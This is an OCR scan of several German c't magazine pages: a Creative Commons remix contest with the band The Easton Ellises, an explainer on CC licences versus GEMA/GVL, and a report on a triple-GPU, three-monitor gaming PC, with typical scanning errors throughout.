einfügen. Für die Versendung der Preise 
benötigen wir darüber h inaus I h re 
Postansch rift 
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Anschl ießend wi rd unsere Ju ry, bestehend 
aus Mitg l iedern der c't-Redaktion und der 
Band The Easton E l l i ses, e ine Vorauswah l  
der besten Remixe fü r d ie On l i ne-Ab­
stimmung treffen, die Ende April sta rtet. 
Dann  haben unsere Leser etwa d rei 
Wochen Zeit, die Songs zu bewerten. Am 
Ende zäh len d ie Stimmen der Leser und 
d ie der Ju ry zu jewei ls  50 Prozent. 

Die Plattenprod u ktion 

Im  Geiste von Creative Commons setzen 
wir bei diesem Wettbewerb auf e ine 
mögl ichst breite Streuung kle iner Preise. 
Der g rößte Gewinn  sind sicherl ich der Spaß 
und der Lernerfolg, den Sie beim Remixen 
haben werden.  Nach Mög l ichkeit werden 
wir jedem Remixer e in ku rzes Feedback mit 
eventue l l  dem ein oder anderen Tipp zu 
seinem Remix geben. Sie können bis zum 
Einsendesch l uss auch gerne neue, 
verbesserte Versionen e inreichen. Wenn 
S ie  es  ins F i na l e  schaffen, winkt I hnen 
zudem viel Aufmerksamkeit, aus  der s ich 
viel leicht weitere Kooperationen mit 
anderen Mus ikern ergeben. 

Tei l nehmer, d ie uns einen Remix schicken, 
gewinnen eine Remix-CD mit den Sieger­
Songs des Wettbewerbs. Bei mehr a l s  

300 Einsendungen (1 50 pro Song) 
entscheidet d ie Ju ry-Wertung über die 
Gewinner. Wer es ins F ina le der On l i ne­
Abstimmung schafft, gewinnt zusätzl ich 
e ine Vinyi-EP. 

Mit den zehn besten Remixen des Wett­
bewerbs (fünf pro Song) produzieren wir 
eine CD, die auch die beiden Origina l-Songs 
enthält. Die zehn Siegertracks werden 
soweit notwendig neu gemastert und auf 
ct.de kosten los zum Download angeboten. 
Die besten sechs Remixe (drei pro Song) 
pressen wir zusätzl ich mit den Orig ina len 
auf eine Vinyi-EP, d ie aus Platzgründen 
le ider nicht a l le  Remixe umfassen kann.  

Die zehn  Remixer der CD-Tracks 
bekommen jewei ls  20 Exemplare der CD. 
Wessen Remix es auf Vinyi-EP schafft, 
bekommt zudem 30 Exemplare der EP zur 
freien Verwendung.  Die S ieger können 
weitere Tonträger zum Herste l l ungspreis 
bei uns beste l len .  

E ine kle ine l imitierte Auflage der CDs und 
EPs werden wir zudem im heise shop 
verkaufen. Die Stückzah len und Preise 
haben wir so niedrig ka lku l iert, dass wir am 
Ende (hoffentl ich) d ie Produktionskosten 
wieder herei nbekommen und weitere 
Wettbewerbe veransta lten können.  
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The Easton E l l ises über Creative Commons 

D ie  Anfänge der  Band The  Easton E l l ises 
aus Montrea l ,  Kanada, gehen bis ins  Jah r  
1 992 zurück. Sänger A lex D. und  
Schlagzeuger S irnon Roy kennen s i ch  seit 
i h rer Schu l zeit . 

1 999 gründeten s ie mit i h rem jetzigen 
Manager Udo B lenkhorn d ie  Band 
Stereomavers und  ihr Label Tida lwav 
Records. 201 2 kamen Gitarrist Ge Pau und 
Bassist Luc D. dazu und d ie Band nannte 
sich i n  The Easton E l l ises um. I h ren Sti l 
nennen sie Dance-Rock. Er or ient iert s ich 
an  Bands wie Kasabian, Prima l  Scream, 
Suede, The Presets, Cut Copy, Phoen ix, 
Ri nUcerCJse und  WhoMadeWho. Die 
Songs fi ndet man unter anderem auf der 
Webseite der  Band {www.easton .cc), beim 
portug iesischen Net label Enough Records 
und dem CC-I nternet-Rad io Jamendo.  

Nach e igenen Angaben verd ient d ie  Band 
mit i h rer Mus ik, Lizenzen und dem 
Verkauf von Merchand ise auf i h ren 
Konzerten genug,  um In strumente, 
P lattenprodukt ionen und Tou r-Kosten zu 
bezah len .  Sel bst e in e igener Band-Bus 
gehört dazu. Für i h ren Lebensunterha lt 
müssen d ie  vier jedoch noch "normalen" 
Jobs nachgehen: a l s  Landschaftsa rchitekt, 
Aquar ium-Manager, Wei n-Händ le r  und 
Gabelstap ler-Fah rer . 

Die Gründe, warum sich d ie Band fü r Crea­
tive Commons entschieden hat, erklärt Ma­
nager Udo B lenkhorn: "Für  uns hat das a l t  
hergebrachte U rheberrecht, das auf d ie 
Berner Übere inkunft von 1 886 zurückgeht, 
seinen Bezug zur d igita len Rea l ität des In ­
ternet verloren. Wir g lauben schon noch 
an  das traditione l le Musik-Geschäft und 
sehen d ie Platten industrie a uch nicht als 
Dinosau rier an. Doch wir müssen da rüber 
d iskutieren, ob das traditione l le U rheber­
recht immer noch d ie beste Lösung fü r uns 
Mus iker da rste l l t. 

Creative Commons bedeutet ja n icht, dass 
man al le Rechte an  seinem geistigen Eigen­
tum aufg ibt. Es erklärt nur a l l gemein ver­
ständ l ich, unter welchen Bed ingungen das 

Die vier Musiker der Easton E l l i ses (v. l .), Luc D. {Bass), Alex D. (Gesang), 
Ge Pau l  (Gita rre) und Sirnon Roy (Drums) sehen die Vortei le von Creative 
Commons in  der unkompl izierten Verbreitung ih rer Songs. 

CC-Materia l verwendet werden da rf, ohne 
erneut um Er laubnis fragen zu müssen. Wer 
sich daran hä lt, muss keine Angst haben, 
verklagt zu werden, nur wei l er einen Song 
von uns heruntergeladen oder damit sein 

(BY) . Sie müssen das Materia l  ebenfa l l s  
unter der g leichen CC-Lizenz veröffentl i ­
chen {SA) und brauchen uns nicht um 
Er laubnis zu fragen, solange sie es nicht 
kommerzie l l  nutzen (NC). 

"Das althergebrachte Urheberrecht hat seinen Bezug 
zur digitalen Realität des Internet verloren." 

The Easton Ellises 

l etztes Ur laubsvideo auf YouTube unter­
legt hat. Im  Web fi ndet man inzwischen 
tausende von Videos und Podcasts mit 
unseren Songs. 

Das von uns gewäh lte CC-Mode l l  BY-NA-SA 
3.0 er laubt Leuten, das Materia l  herunter­
zu laden, zu remixen und fü r Videos zu nut­
zen, solange sie uns a l s  U rheber nennen 

Wer se inen Remix h ingegen kommerzie l l  
auf iTunes, Amazon oder Spotify ver­
treiben wi l l ,  so l lte dazu vorher unsere 
Er la ubn i s  e inho len {Ma i l  an contact@ 
easton .cc). Und  wenn  e ine Brauerei 
unseren Song fü r einen Werbespot bei 
der nächsten Fußba i i -WM verwenden 
wi l l ,  wo l l en  wir dafü r  natür l ich bezah l t  
werden . . .  mit F re ib ier !"  

den,  so l l ten dabei a ber  s icher­
ste l l en, dass der  Gesa ng dazu 
tatsäch l ich passt. 

Creative Commons 

S ie  können I h ren Remix - un ­
abhängig, ob S i e  am Wettbe­
werb tei l nehmen oder nicht -
kostenlos auf einer eigenen Web­
seite, YouTube, Bandcamp oder 
Soundcloud veröffentl ichen. Da-

zu müssen Sie ledigl ich die Kürzel 
"BY-SA-NC" der h ier verwende­
ten Creative-Commons-Lizenz 
beachten {siehe I nterview oben). 
Wei l GEMA- und GVL-Lizenzen 
eine Veröffent l ichung unter 
Creative Commons verbieten, 
dü rfen Sie kein GEMA/GVL-Mate­
ria l e inbauen.  Näheres zum Re­
mixen von Creative-Commons­
Material erklä rt der Arti ke l  auf 
Seite 94. 

Die Grund lagen des {Re-)Mi­
xens und Masterns haben wir zu 
unserem letztjä hr igen Remix­
Wettbewerb "Game Over" be­
reits i n  mehreren Praxis-Arti ke l n  
behande l t  (s iehe c't 1 / 1 4, c't 
4/1 4, c't 1 2/1 4 und  c't 1 3/1 4). 
S ie können die Erkl ä rungen 
auch fü r d ie  neuen Songs nut­
zen. Sol l ten S ie d ie  Hefte n icht 
mehr  zur  Hand ha ben, können 
S ie d ie  Art ike l  im  c't-Doss ier 

Grundku rs Remixen und Mas­
tern mit über  30 PDF-Seiten fü r 
2 Eu ro im heise shop herunter­
laden .  Den L ink zum Dossier fi n­
den S ie auf der  Wettbewerbs­
seite www.ct .de/remix. Darauf 
aufba uende Tipps und Kniffe 
fo lgen im nächsten Heft. 

(hag@ct.de) 

c't: Alle Remix-Materia l ien :  
ct.de/y9rr 
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Report I Creative-Commons-Musik 

Kai Schwi rzke 

Remixen mit 
Creative Com mons 
Alternative M u s i k-Lizenzmod e l l e  zu G EMA u n d  GVL 

Wer sich der Ku nst des Remixens versch rieben hat, kommt unweiger l ich 
m it dem Urheberrecht in  Berüh rung.  Dieses Gesetz schützt das geistige 
Eigentum anderer, ohne das ein Remixer n icht auskommt. Creative­
Commons-Lizenzen sol l  die Verbreitung von Remixen vereinfachen, 
a l lerd ings muss man auch hier das Kleinged ruckte beachten .  

D as U rheberrechtsgesetz s ichert dem 
Schöpfer e ines Werks, etwa e inem Kom­

ponisten oder Autor, das Recht zu, dass a l le in 
er darüber zu befinden hat, ob, wie und von 
wem sein Werk publ iziert, öffentl ich genutzt 
respektive verändert wird. Da sich ein Remi­
xer u rheberrecht l ich geschützten Materia l s  
bedient und d ieses umgesta ltet, muss er den 
Texter und Komponisten a lso erst um Erlaub­
nis fragen, bevor er eine remixte Version des 
Werkes veröffentl icht. Grundsätzl ich hat der 
U rheber dabei Anspruch auf eine angemes­
sene Entlohnung, wenn sein Werk (auch in 
remixter Form) vervie lfä lt igt und veröffent­
l icht wird. 

Doch heutzutage kann  es du rchaus im I n­
teresse eines Mus ikers oder Komponisten 
sein, dass seine Werke mögl ichst weit im In­
ternet verbreitet werden. Denn d ies  steigert 
se ine Bekanntheit und  verschafft i hm Auf­
merksamkeit. 
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So steht es jedem U rheber frei, auf d ie  
Wahrnehmung se iner  Rechte zu verzichten. 
Er kann  sein Werk zur a l l gemeinen Verbrei­
tung und Bea rbeitung ohne Vergütung frei­
geben. Hat er jedoch einen Vertrag mit der 
GEMA abgesch lossen (siehe Kasten), so kann  
er ledig l ich d ie komplette Verbreitung seiner 
Werke im I nternet vom GEMA- Inkasso aus­
nehmen, n icht jedoch einze lne Stücke. Die 
GEMA vertritt immer das komp lette Reper­
toire eines U rhebers. 

F lexibler ist in  dieser H insicht das Creative­
Commons-Mode l l .  Es er laubt dem Urheber, 
fü r jeden einzelnen Song festzulegen, welche 
Rechte er einem Remixer pauschal, ohne 
Rückfrage, einräumt und welche nicht. Der U r­
heber kann aus sechs verschiedenen Lizenz­
Model len wählen und entscheiden, ob er über 
die Verbreitung mit Namensnennung hinaus 
auch eine Bea rbeitung oder kommerzie l le  
Nutzung erlaubt. Dabei  sol lte er sehr genau 

überlegen, denn eine nachträg l iche Ände­
rung oder gar ein Rückzug der CC-Lizenz ist 
fü r den betreffenden Song nicht mögl ich, 
selbst wenn er später einen Vertrag mit einer 
Verwertungsgese l l schaft absch l ießt. Er kann 
jedoch, anders a l s  be i  der GEMA, be i  jedem 
Song erneut entscheiden, ob und 
welches CC -Model l  er wählt . 

CC != CC 

Die Songs der Band The Easton E l l ises stehen 
a l le unter der CC-Lizenz BY-SA-NC 3.0. Damit 
dü rfen Remixer d ie  Songs i n  bearbeiteter 
Form veröffent l ichen, so lange sie die U rhe­
ber der Easton E l l ises nennen (BY) .  Al lerdings 
dü rfen sie mit ih rem Remix keine E innahmen 
erzie len, sondern müssen i h ren Remix kos­
tenlos anbieten (NC). Zudem muss der Remix 
unter derse lben CC-Lizenz veröffent l icht 
werden (SA) . 

Da raus  erg ibt s ich, dass der  Remix kein  
weiteres Materi a l  entha lten da rf, dessen 
U rheber bei der GEMA angemeldet ist, oder 
aber dessen Leistungsschutzrechte von der 
GVL vertreten werden .  Der Remixer darf 
zudem kei n  Materi a l  verwenden,  dessen 
Creative-Commons-Lizenz mit BY-SA-NC 
ko l l i d iert. Materi a l  mit  den CC-Lizenzen 
BY und BY-NC wären er laubt. Lizenzen mit 
BY-SA (er la ubt d ie  kommerzie l l e  N utzung 
und ver langt d ie  Veröffent l ichung unter der­
se lben CC-Lizenz) und  mit dem Kü rzel 
ND (verbietet e ine Bea rbeitung)  h i ngegen 
n icht. 

Daher ist eine Creative-Commons-Lizenz 
kein  Fre ibrief dafü r, völ l ig  uneingesch ränkt 
mit dem Materia l zu verfah ren .  Man muss 
sehr genau h insehen, welches Lizenz-Model l  
d ie  jewei l igen U rheber gewäh l t  haben.  I m­
merh in ge l ingt  d ie  Kontakt-Aufnahme zu 
den U rhebern leichter, wei l d iese i n  den Li­
zenz-Bed ingungen, d ie jeder Ce-Veröffentl i ­
chung bei l i egt, genannt werden müssen. 
Nu r  mit der konkreten Nennung von Kompo­
nist und Texter kann der Remixer im Übrigen 
nachweisen, dass er  GEMA-freies Material 
verwendet hat. Kann  er d iesen Nachweis 
nicht erbr ingen, gi lt die GEMA-Vermutung 
und d ie Gebühren werden fä l l ig .  

Was ist  kommerziel l ?  

Der Beg riff d e r  "kommerzie l l en Nutzung" ist 
bei Creative Commons le ider sehr unscha rf 
defi n iert mit  "überwiegend auf Gewinnab­
sichten ausgerichtet". Was das ist, b le ibt der 
Deutungshoheit der Vertragspartner bezie­
hungsweise der Gerichte vorbeha lten und  
i s t  ju r ist isch keinesfa l l s  absch l ießend ge­
klä rt. Erschwerend kommt h inzu, dass sel bst 
die deutsche Creative-Commons-Seite (de. 
creativecommons.org) l ed ig l i ch  auf eng­
l i schsprachige Lizenz-Texte verl i nkt 

Im  Zweife l  sol lten Remixer d ie in der Ce­
Lizenz aufgefüh rten Rechte inhaber kontak­
tieren, ob sie der von ihnen geplanten Nut­
zung (etwa auf einer mit Werbebannern ver­
zierten privaten Webseitel zustimmen.  Die 
Rechteinhaber tun wiederum gut daran, den 
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Begriff der kommerzie l l en Nutzung im Be­
g leittext ih rer CC-Lizenz konkret zu defin ie­
ren. Wenn sie genau sagen, was er laubt ist 
und was n icht, können sie sich eine eventu­
el le Flut von Anfragen ersparen. Wenn ein 
Lehrer einer öffentl ichen Schu le CC-Materia l 
mit  dem .,NC"-Vermerk beispie lsweise fü r 
seinen Unterricht einsetzen wi l l ,  so kann man 
dies du rchaus als n ichtkommerzie l l e  Nut­
zung i nterpret ieren. Aber wie s ieht es aus, 
wenn  der Leh rer an  e iner Privatschu l e  
beschäftigt ist? Das  müsste im Streitfa l l  e i n  
Gericht entscheiden - besser man klä rt 
d ies vorher d i rekt mit den Rechte inhabern 
ab.  

Fazit 

Creative-Commons-Lizenzen können gerade 
jungen Künstlern helfen, i h re Werke zu ver­
breiten, ohne dass e ine Verwertungsgese l l ­
schaft dies du rch Gebühren behindert. Die­
ses Model l  ist vor a l lem reizvol l ,  wenn am An­
fang der Ka rriere ohnehin kaum E innahmen 
du rch Airp lay oder Tonträgerverkäufe zu er­
warten sind oder wenn gar keine Professio­
na l is ierung geplant ist. Nicht zu letzt er leich­
tert es den künstlerischen Austausch: So dü r­
fen Tei l nehmer unseres Wettbewerbes i h re 
Remixe bedenkenlos weitervertei len, solan­
ge sie d ies nicht i n  einer Gewinnerzie lungs­
absicht tun. Läge unserem Wettbewerb 
GEMA-Materia l zugrunde, wäre dies n icht 
ohne Weiteres mögl ich .  

Auf der anderen Seite haben CC-Lizenzen 
jedoch i h re Tücken und vereinfachen d ie 
Situation aus ju ristischer Sicht keineswegs -
zu mal  unterschied l iche CC-Model le zueinan­
der inkompatibel s ind. Wer mit seiner Musik 
Geld verd ienen möchte, muss bei e iner Ne­
Lizenz auch weiterhin darüber h inausgehen­
de Nutzungsarten ind ividue l l  aushande ln .  
Angesichts der zah l reichen Mögl ichkeiten im 

GEMA und GVL 

Wer von der Werkschöpfung seinen 
Lebensunterhalt bestreiten möchte, be­
auftragt in der Regel e ine Verwertungs­
gese l l schaft mit dem Inkasso der Vergü­
tung. So sch l ießen Komponisten und Text­
d ichter einen Wahrnehmungsvertrag mit 
der GEMA. der Gese l l schaft fü r mus ika l i­
sche Auffüh rungs- und mechanische 
Vervielfä ltigungsrechte. Die GEMA fragt 
unter anderem ab, wie oft und i n  welchem 
Rahmen die Werke aufgeführt wu rden, 
kassiert dafü r  von Veransta ltern, Rund­
funkanstalten und Webseiten-Betreibern 
eine entsprechende Gebühr. Die GEMA ist 
a l lerd ings nicht dazu befugt, e ine Bearbei­
tung, Verbreitung oder Aufführung zu 
verbieten, wie d ies etwa ein ige Sperrtafe ln  
von YouTube lange Zeit suggeriert haben. 
Die GEMA ste l l t  ledig l ich die Zah l ung der 
Gebühren sicher. 

Wer den Remix eines Songs im I nternet 
veröffent l icht, dessen U rheber einen 
GEMA-Vertrag abgeschlossen hat. muss ­
nachdem er d ie Er laubnis vom U rheber 
eingeholt hat - dies der GEMA melden 
und d ie fä l l igen Gebühren bezah len .  Der 
günstigste GEMA-Tarif fü r H intergrund­
mus ik auf Webseiten beträgt beispiels­
weise 40 Euro pro Quarta l .  Versäumt der 
Remixer die Anmeldung, darf die GEMA 
empfind l iche Strafaufsch läge verhängen. 

I nternet, wie Streaming, Down Ioads, mit und 
ohne Werbeeinb lendungen, verschiedenen 
Rechtsprechungen in  einze lnen Ländern et­
cetera, kann  d ies nach wie vor in einer Sysi­
phos-Arbeit münden.  (hag@ct.de) 

Creative-Commons-Lizenzen im Detai l  

Report I Creative-Commons-Musik 

Zu den Urheberrechten kommen die Leis­
tungsschutzrechte an  den Aufnahmen, d ie 
e in Remixer verwenden wi l l .  D iese Schutz­
rechte begünstigen Mus iker und Produ­
zenten, d ie an  der Aufnahme mitgewirkt 
haben. Bei kommerzie l len Werken besit­
zen meistens die P latten label die Rechte 
an den Orig ina laufnahmen.  Wi l l  man a l so 
Tei le  daraus verwenden, so ist d ie Geneh­
migung der Plattenfi rma einzuholen. 
Diese kann  dafü r  zum Tei l  hohe Lizenz­
gebühren verlangen.  

So wie d ie GEMA die Gebühren fü r d ie 
U rheber erhebt, können Labels, Mus iker 
und Produzenten d ie GVL (Gesel l schaft 
zur Verwertung von Leistungsschutzrech­
ten) mit der Wahrnehmung ih rer Zweit­
verwertungsrechte beauftragen. Tantie­
men aus d iesen Zweitverwertungsrechten 
fa l len bei der öffentl ichen Aufführung an, 
im Rad io, bei e inem Konzert oder auf 
einer Webseite. E in nicht-kommerzie l les 
Web-Radio zah l t  zum Beispiel mindes­
tens 500 Euro pro Jahr an die GVL. Das 
I nkasso übernimmt oftmals ebenfa l l s  
d ie GEMA. 

Diese nicht unerheblichen Lizenzgebühren 
an Label, GEMA und GVL verhindern über­
aus effizient, dass Privatleute ih re Remixe 
im I nternet veröffentl ichen, schl ichtweg 
wei l  die Kosten sie überfordern. 

Literatu r  

[ 1 ]  Joerg Heidr ich,  F reigegeben, C reative-Com­
mons-Lizenzen rechtss icher  n utzen, c ' t  4/1 5, 
5. 1 38 c1t 

Zurzeit g ibt es vier Modu le, aus denen sich Creative-Commons­
Lizenzen bi lden lassen: 

4. BY-NC: Bel iebige, n icht-kommerzie l l e  Verbreitung 

1 .  BY (Attribution): Der Name des U rhebers muss bei  der Weiter­
gabe des Werks genannt werden.  

2 .  NC (non-com mercia l} :  Das Werk darf n icht zu kommerzie l len 
Zwecken genutzt werden.  Laut EU-Rechtsprechung zäh lt  dazu 
bereits d ie Verbreitung zum Sel bstkostenpreis. 

3 .  N D  (non-derivates} : Das Werk darf nicht verändert werden. 
4. SA (share a l ike}: Das veränderte Werk muss dann unter dersel­

ben CC-Lizenz wie das Orig ina l  wiederveröffentl icht werden. 

Daraus ergeben sich d ie fo lgenden sechs Kern I izenzen: 

1 .  BY: Das Werk darf bei Namensnennung des Urhebers auch 
kommerzie l l  genutzt, verbreitet und verändert werden. 

2 .  BY-SA: Wie BY, a l lerdings muss d ie Wiederveröffentl ichung 
ebenfa l l s  unter BY-SA erfo lgen.  

3 .  BY-ND: Wie BY, die Bea rbeitung ist jedoch ausgesch lossen. 
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und Bea rbeitung unter Namensnennung des U rhebers. 
5 .  BY-SA-NC: Ent-

spricht der BY-SA, 
jedoch unter Aus­
sch luss der kommer­
zie l len Nutzung. 

6. BY-NC-ND: Die 
restr iktivste Va riante 
erlaubt d ie Verbrei­
tung unter Namens­
nennung, verbietet 
a l lerdings Verände­
rung und kommer­
zie l le  Nutzung.  

Die Vertei lung 
der CC-Lizenzen 

Einsatz von Creative-Commons-Uzenzen 
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Report I Extrem-Gaming 

Marti n Fischer, Ch ristian H i rsch 

Oh ne Limit 
H i g h-End-Ga m i n g  m it d rei 4K-Mon ito ren g leichzeitig 

Fa l ls  Geld keine Rol le  spielt: Wie vie l  Leistung kön nen PC-Gamer 
heute maximal  kaufen? Wir machten uns  auf die Suche nach 
dem u lt imativen Gaming-System, das auch m it Auflösungen weit 
jenseits von U ltra HD spielend fertig wird. 

D er Gaming-PC erlebt eine Renaissance: 
Die im Verg leich zu den Spie lkonsolen 

viel leistungsfähigere Hardware er laubt super­
feine Auflösungen auf 4K-Monitoren, flüssige 
Bi ldwiederhol raten oder bietet die Mögl ich­
keit, mit schicken VR-Bri l len viel tiefer ins Spiel­
geschehen einzutauchen. Extreme Anforde­
rungen verlangen extreme Hardware: Wir l ie­
ßen die Vernunft in der Schublade und mach­
ten uns auf die Suche nach dem maximal  
Mög l ichen - dem u ltimativen Gaming-System 
ohne jeg l iche Rücksicht auf Preis, Lä rm oder 
Leistungsaufnahme. Dessen 3D-Performance 
sol lte so brachial sein, dass Spiele selbst in 5K  
nicht ruckeln - 4K ist dagegen Pi l lepa l le. 

Die F i rma MI Fcom schickte uns einen ab­
soluten Monster-Rechner, der auch bei Hard­
eare-Garnern keine Wünsche offen lassen 
so l l .  ln ihm stecken g leich d rei Exempla re 
von Nvidias schne l l ster S ing le-GPU-Grafi k­
ka rte GeForce GTX 980, e in l ntei-Sechskern­
prozessor mit 3,5 GHz und 1 6  GByte rasend 
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schnel ler DDR4-Speicher. Ausgel iefert wurde 
der Rechner mit d rei  2 1  :9-Disp lays mit je 
3440 x 1 440 B i ldpunkten - idea l  fü r F lug­
s imu lat ionen oder  Rennspie le .  Besonders 
beim F l iegen oder Fahren im virtue l len Cock­
pit versi n kt man förml ich in d ie  3D-Welt. 
F l ugs imu lations-Fans können a lternativ auch 
weitere I n strumente oder Sichtfenster auf 
d ie äußeren B i ldschirme aus lagern.  Bei unse­
rem Setup gibt's dafü r  genug Platz: Rechnet 
man deren B i l dpunkte zusammen, kommt 
man auf knapp 1 5  M i l l ionen Pixe l .  Das Sys­
tem muss a l so genauso viel le isten, wie es 
beim Ansteuern eines einze lnen 5K-Monitors 
nötig wäre (5 1 20 x 2880 Pixe l ) .  Der Gaming­
PC kostet 41 50 Eu ro, i nklus ive der Disp lays 
sogar satte 7 1 50 Eu ro. 

Widescreen-Ga m i n g  

D ie  leicht gebogenen Displays vermitte ln e in 
to l l es Mittendr in-Gefüh l .  Unser Mehrschirm-

Aufbau ist schick, nimmt dafü r  aber r ichtig 
viel P latz e in - insgesamt braucht man 
2,50 Meter i n  der Breite. Wer ein solches Sys­
tem aufste l l en wi l l ,  so l lte a l so vorab auf 
jeden Fa l l  nachmessen.  

Vie le a ktue l l e  Spie le haben mit Wide­
screen-Auflösungen von vornherei n kein  
Problem. Denn s ie g reifen ei nfach auf d ie 
von Windows unterstützten Auflösungen zu­
rück. Damit ein Spiel rei bungs los über a l l e  
Disp lays verte i l t  funktion iert, muss man sie 
vom Grafi ktre iber zusammenfassen Jassen. 
Das gel ingt über den Menüpunkt "SLI ,  5u r­
round, PhysX konfigu rieren" in der Nvidia­
Systemsteuerung .  Dort a ktivie rt man "Mit 
Su rreund über d ie Anzeigen verte i len" und 
kann  anschl ießend d ie Ausr ichtung der B i ld­
schirme und eine Rahmenkorrektur e instel­
len.  l n  unserem Fal l wählen wir eine 1 x3-Aus­
r ichtung .  Die Auflösung von 1 0320 x 1 440 
Pixe ln muss man sch l ieß l ich noch in  den Gra­
fik-Optionen der Spiele e inste l len .  

Unsere Displays haben zirka 1 Zentimeter 
breite Rahmen. Das ist zwar verg leichsweise 
dünn,  summiert sich aber  im Mehrschirm­
betrieb auf jewei l s  2 Zentimetern Abstand 
zwischen zwei Display-Bi ldern und kann  sen­
s ib le Spie ler beim Da rste l len deta i l l ierter 3D­
Welten nerven. Videos und l ngame-Render­
sequenzen werden im Su rround-Modus üb­
l icherweise nicht auf d ie vo l l e  Breite ge­
streckt, sondern bleiben nur auf dem 
mittleren Display sichtbar. Das muss so sein, 
denn das Seitenverhä ltn is  von 63:9 würde 
d ie in  einem festen Bi ldformat produzierten 
Inha lte bis zur Unkennt l ichkeit verzerren. 

Manche Spiele-Genres eignen sich fü r un­
seren ausladenden Dreischi rm-Aufbau über-
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haupt n icht, etwa Echtzeitstrategiespie le 
und a l le Titel mit isometrischer Perspektive. 
Zwa r zeigen die B i ldsch i rme wesent l ich 
mehr vom Spielfe ld, a l lerd ings ist man per­
manent damit beschäftigt, den Kopf hin und 
her zu d rehen.  Sel bst dann schafft man es 
n icht, a l les im B l ick zu behalten. Be i  Strate­
g ieper len wie Anno 2070 s ind die Menü­
punkte über a l l e  B i ldschi rme verstreut. Dazu 
werden die Mauswege länger -, wen wun­
dert's bei  1 0 320 Pixe ln  in  der Breite. Spielen 
macht a l so vor a l lem dann Spaß, wenn das 
mitt lere Display a l le relevanten I nformatio­
nen anzeigt - bei Rennspie len und Ego­
Shootern ist das meist der Fa l l .  F l ugs imu lato­
ren wie FSX oder Prepar3D lassen sich gut 
auf d ie gesamte Bi ldschirmbreite anpassen. 

Spielen i n  63:9 
Unser Monster-Gaming-PC hat dank der d rei 
gekoppelten H igh-End-Grafi kka rten e ine 
hohe 3D-Performance - und wirkt auf den 
ersten B l ick wie der Traum eines jeden Ga­
mers .  Doch aus d iesem Traum kann schnel l  
e in Al ptraum werden, wie Tests beweisen. 

Mikroruckeln:  Sogar bei sehr anspruchs­
vo l len  Spielen produziert das Gaming-Sys­
tem in 1 0320 x 1 440 ausreichend hohe Bi ld­
raten - es g ibt a l lerdings einen Haken. Zwa r 
spuckt der  Dragon-Age-Benchmark im 
Durchschnitt 46  fps aus, spie lbar i s t  der Titel 
wegen des extremen Mikrorucke ins  aber 
dennoch nicht - das g leiche g i l t  fü r viele an­
dere Top-Titel, etwa Al ien Isolat ion oder As­
sassin's Creed Unity. 

Mikrorucke ln entsteht, wenn d ie Abstän­
de zwischen den von den Grafi kka rten ab-
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wechse lnd berechneten E inze lbi ldern zu 
sta rk va ri ieren. Dann rucke ln selbst B i ldraten 
über 30 fps, die mit einem einzigen Grafi k­
prozessor e inen geschmeidigen Spie lab lauf 
garantieren. Bereits bei Dua i-GPU-Gespan­
nen ist Mikrorucke ln e in g roßes Problem, das 
AMD und Nvidia selbst mit den raffin iertes­
ten Treiberanpassungen (Frame Pacing) 

Klotzen statt 
Kleckern: Die 

standesgemäße 
LED-Beleuchtung 
fü r ein High-End­

Gaming-System 
darf in  der Satt le­

box 1 2K Domi­
nator nicht. 

Report I Extrem-Gaming 

noch n icht r icht ig i n  den Griff bekommen 
haben .  Be i  Triple-GPU-Systemen tritt es häu­
figer auf und  lässt s ich nu r  mit sehr hohen 
B i ldraten ha lbwegs e indämmen. Besch ränkt 
man s ich bei Dragon Age I nqu is it ion auf 
e inen Monitor, i s t  d ie  B i ld rate so hoch 
(96 fps), dass d ie fü r das Mikrorucke ln unter­
sch iedl ichen Abstände zwischen den Einzel-
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Report I Extrem-Gaming 

Im  Dreischirm-Betrieb zeigen 
angepasste Spiele mehr von der 

Umgebung. Dadurch muss der 
Grafikchip wesentl ich mehr 

leisten. 

bildern nicht mehr so sta rk ins Gewicht fa l len 
- das Spie l  wirkt fl üss ig .  Auch Assass in 's 
Creed Un ity und Al ien Isolat ion l i tten an tei ls  
sta rkem Mikrorucke ln .  

Grafikfehler: Bei  zah l reichen Sp ie len stör­
ten plötzl ich flackernde B i ldbereiche oder 
ei nzel ne Texturen - das hat offenbar mit der 
Synch ronisation zwischen den Grafi kka rten 
zu tun .  Die GPU-Herste l l e r  opt imieren i h re 
Treiber zwar mit Spie leprofi len fü r den Mu lti­
GPU-Betrieb, d ie perfekte Verte i lung der Re­
chenaufgaben gel ingt offenbar nicht. ln As­
sass in 's Creed Unity fl immerten die Schatten 
und Pfützen sta rk, i n  Dragon Age Inqu isit ion 
manche Bi ldbereiche. Bei Civi l ization Beyond 
Earth flackert das B i ld  beim Sero l ien und 
Zoomen. l n  Far Cry 4 schauke ln  d ie Bäume 
unnatür l ich schne l l  im Wind h in und her. 

Verzerru ng:  Zah l reiche Spiele strecken 
das Bild auf den äußeren Displays, tei lweise 
bis man kaum noch was erkennt. Bei Assas­
si n's Creed Un ity war die Perspektive im Drei-

schirmbetrieb sogar a uf dem mittleren Mo­
nitor verzerrt. Far Cry 4 streckte das Bi ld an 
den Rändern leicht. Das Mitte lerde-Action­
spie l  Mordors Schatten ist sel bst auf e inem 
einzigen 2 1 :9-Monitor zu sta rk i n  d ie Breite 
gezogen. ln den Dreischi rm-Betrieb ließ sich 
das Spiel bei hoher Deta i l stufe nicht scha l­
ten. Die F l ugs imu lat ion Prepa r3D v2 wa r 
auch in hohen E instel l u ngen gut  sp ie lbar 
und streckte d ie Ans icht auf den äußeren 
Displays nur leicht. Widescreen-Gamer müs­
sen entweder mit der Verzerrung leben oder 
in  den Konfigurationsdateien der jewei l igen 
Spie le herumfummeln - sofern dort e ine An­
passung des Sichtfeldes (FOV/Fie ld of View) 
mögl ich ist. 

Geringe Meh rleistung:  Obwohl  d rei Gra­
fi kka rten zusammen rechnen, spr ingt nicht 
d ie  d reifache Performance e iner e inze lnen 
heraus .  Trip ie-SLI-Konfigu rat ionen ska l ieren 
sch lechter als Dua i-GPU-Gespanne, d ie  üb­
l icherweise zwischen SO und 80 Prozent 

NVIDIA Surreund einrichten 
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Anze igen  

Topologie : 

l x 3  

Anzeigen : 

GeForce GTX 980 (1 ) 

� l .LG Electronics LG ULTRAWIDE 

GeForce GTX 980 (2.) 

� 2. LG Electronics LG ULTRAWIDE 

G eForce GTX 980 (3) 

� 3.LG Electronics LG l.LlRAWIDE 

S 3 Anzeigen wurden ausgewählt. 

Tast:enkombinaoonen=J 

Auflösung 

AuflöSll"lg: 
10320 x 14'10 � 

Bildwiederholfrequenz: 

Rahmen-Korrektur 

RaiYnen : Vl � : 
V2 0 : 

Besonders bei Rennspielen 
